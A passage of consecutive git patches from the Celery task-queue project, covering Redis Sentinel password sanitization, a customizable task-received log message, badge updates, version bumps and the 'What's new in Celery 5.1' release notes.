pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after body group fails"): + # NOTE: Here we expect the errback to be called once per failing + # task in the chord body since it is a group + expected_errback_count = fail_task_count + check_interval = 0.1 + check_max = int(TIMEOUT * check_interval) + for i in range(check_max + 1): + maybe_count = redis_connection.get("redis-count") + # It's either `None` or a base-10 integer + count = int(maybe_count or b"0") + if count == expected_errback_count: + # escape and pass + break + elif i < check_max: + # try again later + sleep(check_interval) + else: + # fail + assert count == expected_errback_count + else: + raise TimeoutError("Errbacks were not called in time") + class test_signature_serialization: """ diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index c6e9ca86035..7527f0aed24 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -1,5 +1,5 @@ import json -from unittest.mock import MagicMock, Mock, call, patch, sentinel, ANY +from unittest.mock import ANY, MagicMock, Mock, call, patch, sentinel import pytest import pytest_subtests # noqa: F401 From 4c12c45e6552b2ec6423d6458684e14dd182260f Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 10 May 2021 15:51:35 +0300 Subject: [PATCH 224/415] Update badge to Github Actions. --- README.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.rst b/README.rst index f4fe61aea17..8e01787c437 100644 --- a/README.rst +++ b/README.rst @@ -117,7 +117,7 @@ Celery is... like at our `mailing-list`_, or the IRC channel. Here's one of the simplest applications you can make: - + .. code-block:: python from celery import Celery @@ -500,9 +500,9 @@ file in the top distribution directory for the full license text. .. # vim: syntax=rst expandtab tabstop=4 shiftwidth=4 shiftround -.. |build-status| image:: https://api.travis-ci.com/celery/celery.png?branch=master +.. |build-status| image:: https://github.com/celery/celery/actions/workflows/python-package.yml/badge.svg :alt: Build status - :target: https://travis-ci.com/celery/celery + :target: https://github.com/celery/celery/actions/workflows/python-package.yml .. |coverage| image:: https://codecov.io/github/celery/celery/coverage.svg?branch=master :target: https://codecov.io/github/celery/celery?branch=master From 1cd6521344c95ca2ddaa8feffb51b4c6612d740c Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 10 May 2021 15:52:49 +0300 Subject: [PATCH 225/415] Update badge in release issue templates. --- .github/ISSUE_TEMPLATE/Major-Version-Release-Checklist.md | 2 +- .github/ISSUE_TEMPLATE/Minor-Version-Release-Checklist.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/Major-Version-Release-Checklist.md b/.github/ISSUE_TEMPLATE/Major-Version-Release-Checklist.md index eeecc14df18..20e96f036fd 100644 --- a/.github/ISSUE_TEMPLATE/Major-Version-Release-Checklist.md +++ b/.github/ISSUE_TEMPLATE/Major-Version-Release-Checklist.md @@ -18,7 +18,7 @@ Release PR: - [ ] Release PR reviewed - [ ] The master branch build passes - [![Build Status](https://travis-ci.org/celery/celery.svg?branch=master)](https://travis-ci.org/celery/celery) + [![Build Status](https://github.com/celery/celery/actions/workflows/python-package.yml/badge.svg)](https://github.com/celery/celery/actions/workflows/python-package.yml) - [ ] Release Notes - [ ] What's New diff --git a/.github/ISSUE_TEMPLATE/Minor-Version-Release-Checklist.md b/.github/ISSUE_TEMPLATE/Minor-Version-Release-Checklist.md index 208e34bd77f..c3656043b93 100644 --- a/.github/ISSUE_TEMPLATE/Minor-Version-Release-Checklist.md +++ b/.github/ISSUE_TEMPLATE/Minor-Version-Release-Checklist.md @@ -12,7 +12,7 @@ Release PR: - [ ] Release PR reviewed - [ ] The master branch build passes - [![Build Status](https://travis-ci.org/celery/celery.svg?branch=master)](https://travis-ci.org/celery/celery) + [![Build Status](https://github.com/celery/celery/actions/workflows/python-package.yml/badge.svg)](https://github.com/celery/celery/actions/workflows/python-package.yml) - [ ] Release Notes - [ ] What's New From 8ce86711e84895e2bc0be005abc14780c0c7ea86 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Wed, 12 May 2021 17:26:54 +1000 Subject: [PATCH 226/415] fix: Sanitization of passwords in sentinel URIs (#6765) The kombu helper we use is only capable of parsing and santizing a single URI, so in order to properly sanitize values for multiple servers to be used by the Redis Sentinel backend, we need to break the string up into individual server URIs first. Fixes #6763 --- celery/backends/redis.py | 29 ++++++++++++++++++++++++++--- t/unit/backends/test_redis.py | 10 ++++++++++ 2 files changed, 36 insertions(+), 3 deletions(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index a52cf33d519..eff0fa3442d 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -7,7 +7,7 @@ from kombu.utils.functional import retry_over_time from kombu.utils.objects import cached_property -from kombu.utils.url import _parse_url +from kombu.utils.url import _parse_url, maybe_sanitize_url from celery import states from celery._state import task_join_will_block @@ -585,6 +585,8 @@ class SentinelManagedSSLConnection( class SentinelBackend(RedisBackend): """Redis sentinel task result store.""" + # URL looks like `sentinel://0.0.0.0:26347/3;sentinel://0.0.0.0:26348/3` + _SERVER_URI_SEPARATOR = ";" sentinel = getattr(redis, "sentinel", None) connection_class_ssl = SentinelManagedSSLConnection if sentinel else None @@ -595,9 +597,30 @@ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) + def as_uri(self, include_password=False): + """ + Return the server addresses as URIs, sanitizing the password or not. + """ + # Allow superclass to do work if we don't need to force sanitization + if include_password: + return super(SentinelBackend, self).as_uri( + include_password=include_password, + ) + # Otherwise we need to ensure that all components get sanitized rather + # by passing them one by one to the `kombu` helper + uri_chunks = ( + maybe_sanitize_url(chunk) + for chunk in (self.url or "").split(self._SERVER_URI_SEPARATOR) + ) + # Similar to the superclass, strip the trailing slash from URIs with + # all components empty other than the scheme + return self._SERVER_URI_SEPARATOR.join( + uri[:-1] if uri.endswith(":///") else uri + for uri in uri_chunks + ) + def _params_from_url(self, url, defaults): - # URL looks like sentinel://0.0.0.0:26347/3;sentinel://0.0.0.0:26348/3. - chunks = url.split(";") + chunks = url.split(self._SERVER_URI_SEPARATOR) connparams = dict(defaults, hosts=[]) for chunk in chunks: data = super()._params_from_url( diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index c96bcca357a..05805733f62 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -1203,6 +1203,16 @@ def test_url(self): found_dbs = [cp['db'] for cp in x.connparams['hosts']] assert found_dbs == expected_dbs + # By default passwords should be sanitized + display_url = x.as_uri() + assert "test" not in display_url + # We can choose not to sanitize with the `include_password` argument + unsanitized_display_url = x.as_uri(include_password=True) + assert unsanitized_display_url == x.url + # or to explicitly sanitize + forcibly_sanitized_display_url = x.as_uri(include_password=False) + assert forcibly_sanitized_display_url == display_url + def test_get_sentinel_instance(self): x = self.Backend( 'sentinel://:test@github.com:123/1;' From 2411504f4164ac9acfa20007038d37591c6f57e5 Mon Sep 17 00:00:00 2001 From: Dave Johansen Date: Wed, 12 May 2021 21:40:52 -0600 Subject: [PATCH 227/415] Add LOG_RECEIVED to customize logging (#6758) * Add LOG_RECEIVED to customize logging Co-authored-by: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> * doc: Add minimal docs for task log fmt overrides * test: Add tests for `LOG_RECEIVED` messages * test: Fix ineffective logging disabled test This test wouldn't actually fail if the line forcing `isEnabledFor` to return `False` was commented out. This changes the test to use log capture rather than mocking to ensure we actually catch regressions. Co-authored-by: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> --- celery/app/trace.py | 5 +++++ celery/worker/strategy.py | 6 +++++- docs/userguide/extending.rst | 26 +++++++++++++++++++++++++ t/unit/worker/test_strategy.py | 35 ++++++++++++++++++++++++++++++++-- 4 files changed, 69 insertions(+), 3 deletions(-) diff --git a/celery/app/trace.py b/celery/app/trace.py index fb4fdd6d7e5..9a56f870768 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -52,6 +52,11 @@ logger = get_logger(__name__) +#: Format string used to log task receipt. +LOG_RECEIVED = """\ +Task %(name)s[%(id)s] received\ +""" + #: Format string used to log task success. LOG_SUCCESS = """\ Task %(name)s[%(id)s] succeeded in %(runtime)ss: %(return_value)s\ diff --git a/celery/worker/strategy.py b/celery/worker/strategy.py index 98a47015352..09bdea7c1be 100644 --- a/celery/worker/strategy.py +++ b/celery/worker/strategy.py @@ -4,6 +4,7 @@ from kombu.asynchronous.timer import to_timestamp from celery import signals +from celery.app import trace as _app_trace from celery.exceptions import InvalidTaskError from celery.utils.imports import symbol_by_name from celery.utils.log import get_logger @@ -148,7 +149,10 @@ def task_message_handler(message, body, ack, reject, callbacks, body=body, headers=headers, decoded=decoded, utc=utc, ) if _does_info: - info('Received task: %s', req) + # Similar to `app.trace.info()`, we pass the formatting args as the + # `extra` kwarg for custom log handlers + context = {'id': req.id, 'name': req.name} + info(_app_trace.LOG_RECEIVED, context, extra={'data': context}) if (req.expires or req.id in revoked_tasks) and req.revoked(): return diff --git a/docs/userguide/extending.rst b/docs/userguide/extending.rst index cf3a9929be8..59c8f83401e 100644 --- a/docs/userguide/extending.rst +++ b/docs/userguide/extending.rst @@ -301,6 +301,32 @@ Another example could use the timer to wake up at regular intervals: if req.time_start and time() - req.time_start > self.timeout: raise SystemExit() +Customizing Task Handling Logs +------------------------------ + +The Celery worker emits messages to the Python logging subsystem for various +events throughout the lifecycle of a task. +These messages can be customized by overriding the ``LOG_`` format +strings which are defined in :file:`celery/app/trace.py`. +For example: + +.. code-block:: python + + import celery.app.trace + + celery.app.trace.LOG_SUCCESS = "This is a custom message" + +The various format strings are all provided with the task name and ID for +``%`` formatting, and some of them receive extra fields like the return value +or the exception which caused a task to fail. +These fields can be used in custom format strings like so: + +.. code-block:: python + + import celery.app.trace + + celery.app.trace.LOG_REJECTED = "%(name)r is cursed and I won't run it: %(exc)s" + .. _extending-consumer_blueprint: Consumer diff --git a/t/unit/worker/test_strategy.py b/t/unit/worker/test_strategy.py index 88abe4dcd27..cb8c73d17cb 100644 --- a/t/unit/worker/test_strategy.py +++ b/t/unit/worker/test_strategy.py @@ -1,3 +1,4 @@ +import logging from collections import defaultdict from contextlib import contextmanager from unittest.mock import ANY, Mock, patch @@ -6,6 +7,7 @@ from kombu.utils.limits import TokenBucket from celery import Task, signals +from celery.app.trace import LOG_RECEIVED from celery.exceptions import InvalidTaskError from celery.utils.time import rate from celery.worker import state @@ -142,12 +144,14 @@ def _context(self, sig, message = self.prepare_message(message) yield self.Context(sig, s, reserved, consumer, message) - def test_when_logging_disabled(self): + def test_when_logging_disabled(self, caplog): + # Capture logs at any level above `NOTSET` + caplog.set_level(logging.NOTSET + 1, logger="celery.worker.strategy") with patch('celery.worker.strategy.logger') as logger: logger.isEnabledFor.return_value = False with self._context(self.add.s(2, 2)) as C: C() - logger.info.assert_not_called() + assert not caplog.records def test_task_strategy(self): with self._context(self.add.s(2, 2)) as C: @@ -165,6 +169,33 @@ def test_callbacks(self): for callback in callbacks: callback.assert_called_with(req) + def test_log_task_received(self, caplog): + caplog.set_level(logging.INFO, logger="celery.worker.strategy") + with self._context(self.add.s(2, 2)) as C: + C() + for record in caplog.records: + if record.msg == LOG_RECEIVED: + assert record.levelno == logging.INFO + break + else: + raise ValueError("Expected message not in captured log records") + + def test_log_task_received_custom(self, caplog): + caplog.set_level(logging.INFO, logger="celery.worker.strategy") + custom_fmt = "CUSTOM MESSAGE" + with self._context( + self.add.s(2, 2) + ) as C, patch( + "celery.app.trace.LOG_RECEIVED", new=custom_fmt, + ): + C() + for record in caplog.records: + if record.msg == custom_fmt: + assert set(record.args) == {"id", "name"} + break + else: + raise ValueError("Expected message not in captured log records") + def test_signal_task_received(self): callback = Mock() with self._context(self.add.s(2, 2)) as C: From e737fbb82b7eec41aa42491e8a331bcc45f9df81 Mon Sep 17 00:00:00 2001 From: Josue Balandrano Coronel Date: Wed, 19 May 2021 07:06:56 -0500 Subject: [PATCH 228/415] Add What's new for v5.1.0 (#6762) * Add What's new for v5.1.0 * Update docs * Update index. * Fix title formatting. * Update the title in the migration guide. * Fix typo. * Update codename. * Format code example correctly. * Update codename in readme file. * Describe azure 7.0.0 changes * Fix formatting. * Update changelog. * Readd the whats new docs for 5.0. Co-authored-by: Omer Katz --- Changelog.rst | 12 + README.rst | 2 +- celery/__init__.py | 2 +- docs/history/index.rst | 2 + docs/{ => history}/whatsnew-5.0.rst | 0 docs/index.rst | 2 +- docs/whatsnew-5.1.rst | 435 ++++++++++++++++++++++++++++ 7 files changed, 452 insertions(+), 3 deletions(-) rename docs/{ => history}/whatsnew-5.0.rst (100%) create mode 100644 docs/whatsnew-5.1.rst diff --git a/Changelog.rst b/Changelog.rst index 026ed077fb2..f996674d368 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,18 @@ This document contains change notes for bugfix & new features in the & 5.1.x series, please see :ref:`whatsnew-5.1` for an overview of what's new in Celery 5.1. +.. _version-5.1.0rc1: + +5.1.0rc1 +======== +:release-date: 2021-05-02 16.06 P.M UTC+3:00 +:release-by: Omer Katz + +- Celery Mailbox accept and serializer parameters are initialized from configuration. (#6757) +- Error propagation and errback calling for group-like signatures now works as expected. (#6746) +- Fix sanitization of passwords in sentinel URIs. (#6765) +- Add LOG_RECEIVED to customize logging. (#6758) + .. _version-5.1.0b2: 5.1.0b2 diff --git a/README.rst b/README.rst index 8e01787c437..a05bfd033de 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.1.0b2 (singularity) +:Version: 5.1.0b2 (sun-harmonics) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ diff --git a/celery/__init__.py b/celery/__init__.py index a5f7f2f49a5..8d84ec8fcb9 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -15,7 +15,7 @@ # Lazy loading from . import local # noqa -SERIES = 'singularity' +SERIES = 'sun-harmonics' __version__ = '5.1.0b2' __author__ = 'Ask Solem' diff --git a/docs/history/index.rst b/docs/history/index.rst index 05dd08a17dc..88e30c0a2b0 100644 --- a/docs/history/index.rst +++ b/docs/history/index.rst @@ -13,6 +13,8 @@ version please visit :ref:`changelog`. .. toctree:: :maxdepth: 2 + whatsnew-5.0 + changelog-5.0 whatsnew-4.4 changelog-4.4 whatsnew-4.3 diff --git a/docs/whatsnew-5.0.rst b/docs/history/whatsnew-5.0.rst similarity index 100% rename from docs/whatsnew-5.0.rst rename to docs/history/whatsnew-5.0.rst diff --git a/docs/index.rst b/docs/index.rst index 2a9de61c06d..6b93a9d23fc 100644 --- a/docs/index.rst +++ b/docs/index.rst @@ -58,7 +58,7 @@ Contents tutorials/index faq changelog - whatsnew-5.0 + whatsnew-5.1 reference/index internals/index history/index diff --git a/docs/whatsnew-5.1.rst b/docs/whatsnew-5.1.rst new file mode 100644 index 00000000000..f6ebae94f08 --- /dev/null +++ b/docs/whatsnew-5.1.rst @@ -0,0 +1,435 @@ +.. _whatsnew-5.1: + +========================================= + What's new in Celery 5.1 (Sun Harmonics) +========================================= +:Author: Josue Balandrano Coronel (``jbc at rmcomplexity.com``) + +.. sidebar:: Change history + + What's new documents describe the changes in major versions, + we also have a :ref:`changelog` that lists the changes in bugfix + releases (0.0.x), while older series are archived under the :ref:`history` + section. + +Celery is a simple, flexible, and reliable distributed programming framework +to process vast amounts of messages, while providing operations with +the tools required to maintain a distributed system with python. + +It's a task queue with focus on real-time processing, while also +supporting task scheduling. + +Celery has a large and diverse community of users and contributors, +you should come join us :ref:`on IRC ` +or :ref:`our mailing-list `. + +To read more about Celery you should go read the :ref:`introduction `. + +While this version is **mostly** backward compatible with previous versions +it's important that you read the following section as this release +is a new major version. + +This version is officially supported on CPython 3.6, 3.7 & 3.8 & 3.9 +and is also supported on PyPy3. + +.. _`website`: http://celeryproject.org/ + +.. topic:: Table of Contents + + Make sure you read the important notes before upgrading to this version. + +.. contents:: + :local: + :depth: 2 + +Preface +======= + +The 5.1.0 release is a new minor release for Celery. + +Starting from now users should expect more frequent releases of major versions +as we move fast and break things to bring you even better experience. + +Releases in the 5.x series are codenamed after songs of `Jon Hopkins `_. +This release has been codenamed `Sun Harmonics `_. + +From now on we only support Python 3.6 and above. +We will maintain compatibility with Python 3.6 until it's +EOL in December, 2021. + +*— Omer Katz* + +Long Term Support Policy +------------------------ + +As we'd like to provide some time for you to transition, +we're designating Celery 4.x an LTS release. +Celery 4.x will be supported until the 1st of August, 2021. + +We will accept and apply patches for bug fixes and security issues. +However, no new features will be merged for that version. + +Celery 5.x **is not** an LTS release. We will support it until the release +of Celery 6.x. + +We're in the process of defining our Long Term Support policy. +Watch the next "What's New" document for updates. + +Wall of Contributors +-------------------- + +0xflotus <0xflotus@gmail.com> +AbdealiJK +Akash Agrawal +Anatoliy +Anna Borzenko +Anthony Lukach +Arnon Yaari +Artem Bernatskyi +aruseni +Asif Saif Uddin (Auvi) +Asif Saif Uddin +Awais Qureshi +bastb +Bas ten Berge +careljonkhout +Christian Clauss +danthegoodman1 +David Pärsson +David Schneider +Egor Sergeevich Poderiagin +elonzh +Fahmi +Felix Yan +František Zatloukal +Frazer McLean +Gabriel Augendre +galcohen +gal cohen +Geunsik Lim +Guillaume DE SUSANNE D'EPINAY +Hilmar Hilmarsson +Illia Volochii +jenhaoyang +Josue Balandrano Coronel +Jonathan Stoppani +Justinas Petuchovas +KexZh +kosarchuksn +Kostya Deev +laixintao +Mathieu Rollet +Matt Hoffman +Matus Valo +Michal Kuffa +Mike DePalatis +Myeongseok Seo +Nick Pope +Nicolas Dandrimont +Noam +Omer Katz +partizan +pavlos kallis +Pavol Plaskoň +Pengjie Song (宋鹏捷) +Safwan Rahman +Sardorbek Imomaliev +Sergey Lyapustin +Sergey Tikhonov +Sonya Chhabra +Stepan Henek +Stephen J. Fuhry +Stuart Axon +Swen Kooij +Thomas Grainger +Thomas Riccardi +tned73 +Tomas Hrnciar +tumb1er +ZubAnt +Zvi Baratz + +.. note:: + + This wall was automatically generated from git history, + so sadly it doesn't not include the people who help with more important + things like answering mailing-list questions. + +Upgrading from Celery 4.x +========================= + +Step 1: Adjust your command line invocation +------------------------------------------- + +Celery 5.0 introduces a new CLI implementation which isn't completely backwards compatible. + +The global options can no longer be positioned after the sub-command. +Instead, they must be positioned as an option for the `celery` command like so:: + + celery --app path.to.app worker + +If you were using our :ref:`daemonizing` guide to deploy Celery in production, +you should revisit it for updates. + +Step 2: Update your configuration with the new setting names +------------------------------------------------------------ + +If you haven't already updated your configuration when you migrated to Celery 4.0, +please do so now. + +We elected to extend the deprecation period until 6.0 since +we did not loudly warn about using these deprecated settings. + +Please refer to the :ref:`migration guide ` for instructions. + +Step 3: Read the important notes in this document +------------------------------------------------- + +Make sure you are not affected by any of the important upgrade notes +mentioned in the :ref:`following section `. + +You should mainly verify that any of the breaking changes in the CLI +do not affect you. Please refer to :ref:`New Command Line Interface ` for details. + +Step 4: Migrate your code to Python 3 +------------------------------------- + +Celery 5.x supports only Python 3. Therefore, you must ensure your code is +compatible with Python 3. + +If you haven't ported your code to Python 3, you must do so before upgrading. + +You can use tools like `2to3 `_ +and `pyupgrade `_ to assist you with +this effort. + +After the migration is done, run your test suite with Celery 4 to ensure +nothing has been broken. + +Step 5: Upgrade to Celery 5.1 +----------------------------- + +At this point you can upgrade your workers and clients with the new version. + +.. _v510-important: + +Important Notes +=============== + +Supported Python Versions +------------------------- + +The supported Python Versions are: + +- CPython 3.6 +- CPython 3.7 +- CPython 3.8 +- CPython 3.9 +- PyPy3.6 7.2 (``pypy3``) + +Important Notes From 5.0 +------------------------ + +Dropped support for Python 2.7 & 3.5 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Celery now requires Python 3.6 and above. + +Python 2.7 has reached EOL in January 2020. +In order to focus our efforts we have dropped support for Python 2.7 in +this version. + +In addition, Python 3.5 has reached EOL in September 2020. +Therefore, we are also dropping support for Python 3.5. + +If you still require to run Celery using Python 2.7 or Python 3.5 +you can still use Celery 4.x. +However we encourage you to upgrade to a supported Python version since +no further security patches will be applied for Python 2.7 and as mentioned +Python 3.5 is not supported for practical reasons. + +Kombu +~~~~~ + +Starting from v5.0, the minimum required version is Kombu 5.0.0. + +Billiard +~~~~~~~~ + +Starting from v5.0, the minimum required version is Billiard 3.6.3. + +Eventlet Workers Pool +~~~~~~~~~~~~~~~~~~~~~ + +Due to `eventlet/eventlet#526 `_ +the minimum required version is eventlet 0.26.1. + +Gevent Workers Pool +~~~~~~~~~~~~~~~~~~~ + +Starting from v5.0, the minimum required version is gevent 1.0.0. + +Couchbase Result Backend +~~~~~~~~~~~~~~~~~~~~~~~~ + +The Couchbase result backend now uses the V3 Couchbase SDK. + +As a result, we no longer support Couchbase Server 5.x. + +Also, starting from v5.0, the minimum required version +for the database client is couchbase 3.0.0. + +To verify that your Couchbase Server is compatible with the V3 SDK, +please refer to their `documentation `_. + +Riak Result Backend +~~~~~~~~~~~~~~~~~~~ + +The Riak result backend has been removed as the database is no longer maintained. + +The Python client only supports Python 3.6 and below which prevents us from +supporting it and it is also unmaintained. + +If you are still using Riak, refrain from upgrading to Celery 5.0 while you +migrate your application to a different database. + +We apologize for the lack of notice in advance but we feel that the chance +you'll be affected by this breaking change is minimal which is why we +did it. + +AMQP Result Backend +~~~~~~~~~~~~~~~~~~~ + +The AMQP result backend has been removed as it was deprecated in version 4.0. + +Removed Deprecated Modules +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The `celery.utils.encoding` and the `celery.task` modules has been deprecated +in version 4.0 and therefore are removed in 5.0. + +If you were using the `celery.utils.encoding` module before, +you should import `kombu.utils.encoding` instead. + +If you were using the `celery.task` module before, you should import directly +from the `celery` module instead. + +`azure-servicebus` 7.0.0 is now required +---------------------------------------- + +Given the SDK changes between 0.50.0 and 7.0.0 Kombu deprecates support for +older `azure-servicebus` versions. + +.. _v510-news: + +News +==== + +Support for Azure Service Bus 7.0.0 +----------------------------------- + +With Kombu v5.1.0 we now support Azure Services Bus. + +Azure have completely changed the Azure ServiceBus SDK between 0.50.0 and 7.0.0. +`azure-servicebus >= 7.0.0` is now required for Kombu `5.1.0` + +Add support for SQLAlchemy 1.4 +------------------------------ + +Following the changes in SQLAlchemy 1.4, the declarative base is no +longer an extension. +Importing it from sqlalchemy.ext.declarative is deprecated and will +be removed in SQLAlchemy 2.0. + +Support for Redis username authentication +----------------------------------------- + +Previously, the username was ignored from the URI. +Starting from Redis>=6.0, that shouldn't be the case since ACL support has landed. + +Please refer to the :ref:`documentation <_conf-redis-result-backend>` for details. + +SQS transport - support back off policy +---------------------------------------- + +SQS supports managed visibility timeout, this lets us implementing back off +policy (for instance exponential policy) which means that time between task +failures will dynamically changed based on number of retries. + +Documentation: :doc:`reference/kombu.transport.SQS.rst` + +Duplicate successful tasks +--------------------------- + +The trace function fetches the metadata from the backend each time it +receives a task and compares its state. If the state is SUCCESS +we log and bail instead of executing the task. +The task is acknowledged and everything proceeds normally. + +Documentation: :setting:`worker_deduplicate_successful_tasks` + +Terminate tasks with late acknowledgment on connection loss +----------------------------------------------------------- + +Tasks with late acknowledgement keep running after restart +although the connection is lost and they cannot be +acknowledged anymore. These tasks will now be terminated. + +Documentation: :setting:`worker_cancel_long_running_tasks_on_connection_loss` + +`task.apply_async(ignore_result=True)` now avoids persisting the result +----------------------------------------------------------------------- + +`task.apply_async` now supports passing `ignore_result` which will act the same +as using `@app.task(ignore_result=True)`. + +Use a thread-safe implementation of `cached_property` +----------------------------------------------------- + +`cached_property` is heavily used in celery but it is causing +issues in multi-threaded code since it is not thread safe. +Celery is now using a thread-safe implementation of `cached_property` + +Tasks can now have required kwargs at any order +------------------------------------------------ + +Tasks can now be defined like this: + +.. code-block:: python + from celery import shared_task + + @shared_task + def my_func(*, name='default', age, city='Kyiv'): + pass + + +SQS - support STS authentication with AWS +----------------------------------------- + +STS token requires being refreshed after certain period of time. +after `sts_token_timeout` is reached a new token will be created. + +Documentation: :doc:`getting-started/backends-and-brokers/sqs.rst` + +Support Redis `health_check_interval` +------------------------------------- + +`health_check_interval` can be configured and will be passed to `redis-py`. + +Documentation: :setting:`redis_backend_health_check_interval` + + +Update default pickle protocol version to 4 +-------------------------------------------- + +Updating pickle protocl version allow Celery to serialize larger strings +amongs other benefits. + +See: https://docs.python.org/3.9/library/pickle.html#data-stream-format + + +Support Redis Sentinel with SSL +------------------------------- + +See documentation for more info: +:doc:`getting-started/backends-and-brokers/redis.rst` From 97457bc66116889c796d37965075474424bff3f7 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 19 May 2021 15:07:42 +0300 Subject: [PATCH 229/415] =?UTF-8?q?Bump=20version:=205.1.0b2=20=E2=86=92?= =?UTF-8?q?=205.1.0rc1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 057a348b7bb..1344944840c 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.1.0b2 +current_version = 5.1.0rc1 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index a05bfd033de..69ab7263dae 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.1.0b2 (sun-harmonics) +:Version: 5.1.0rc1 (sun-harmonics) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.1.0b2 runs on, +Celery version 5.1.0rc1 runs on, - Python (3.6, 3.7, 3.8, 3.9) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.1.0b2 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.1.0rc1 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 8d84ec8fcb9..893008f967e 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'sun-harmonics' -__version__ = '5.1.0b2' +__version__ = '5.1.0rc1' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 2f395a1fcc6..5780715ae5a 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.1.0b2 (cliffs) +:Version: 5.1.0rc1 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From fcbbe8fbbe867ec24b8af4ee08fc81e9d576c95b Mon Sep 17 00:00:00 2001 From: Josue Balandrano Coronel Date: Thu, 20 May 2021 06:22:39 -0500 Subject: [PATCH 230/415] Update wall of contributors (#6775) The past wall of contributors were taken from 5.0.0 to HEAD but it should've been from 5.0.5 to HEAD --- docs/whatsnew-5.1.rst | 31 ++----------------------------- 1 file changed, 2 insertions(+), 29 deletions(-) diff --git a/docs/whatsnew-5.1.rst b/docs/whatsnew-5.1.rst index f6ebae94f08..541db19252b 100644 --- a/docs/whatsnew-5.1.rst +++ b/docs/whatsnew-5.1.rst @@ -80,29 +80,19 @@ Wall of Contributors 0xflotus <0xflotus@gmail.com> AbdealiJK -Akash Agrawal Anatoliy Anna Borzenko -Anthony Lukach -Arnon Yaari -Artem Bernatskyi aruseni Asif Saif Uddin (Auvi) Asif Saif Uddin Awais Qureshi -bastb -Bas ten Berge careljonkhout Christian Clauss danthegoodman1 -David Pärsson +Dave Johansen David Schneider -Egor Sergeevich Poderiagin -elonzh Fahmi Felix Yan -František Zatloukal -Frazer McLean Gabriel Augendre galcohen gal cohen @@ -111,43 +101,26 @@ Guillaume DE SUSANNE D'EPINAY Hilmar Hilmarsson Illia Volochii jenhaoyang -Josue Balandrano Coronel Jonathan Stoppani -Justinas Petuchovas -KexZh +Josue Balandrano Coronel kosarchuksn Kostya Deev -laixintao -Mathieu Rollet Matt Hoffman Matus Valo -Michal Kuffa -Mike DePalatis Myeongseok Seo -Nick Pope -Nicolas Dandrimont Noam Omer Katz -partizan pavlos kallis Pavol Plaskoň Pengjie Song (宋鹏捷) -Safwan Rahman Sardorbek Imomaliev Sergey Lyapustin Sergey Tikhonov -Sonya Chhabra -Stepan Henek Stephen J. Fuhry -Stuart Axon Swen Kooij -Thomas Grainger -Thomas Riccardi tned73 Tomas Hrnciar tumb1er -ZubAnt -Zvi Baratz .. note:: From fc57a612c07c8121ad6606a20641e4da35de00b3 Mon Sep 17 00:00:00 2001 From: Alex Pearce Date: Thu, 20 May 2021 14:18:11 +0200 Subject: [PATCH 231/415] fix: Have evcam accept kwargs (#6771) (#6774) The `events` command forwards all command-line flags to evcam. This includes the `--executable` flag which was not handled by the `evcam` function. Accepting `**kwargs` allows `evcam` to accept this and other flags in the future without explicit support. Fixes #6771. --- celery/events/snapshot.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/celery/events/snapshot.py b/celery/events/snapshot.py index 813b8db5c9e..d4dd65b174f 100644 --- a/celery/events/snapshot.py 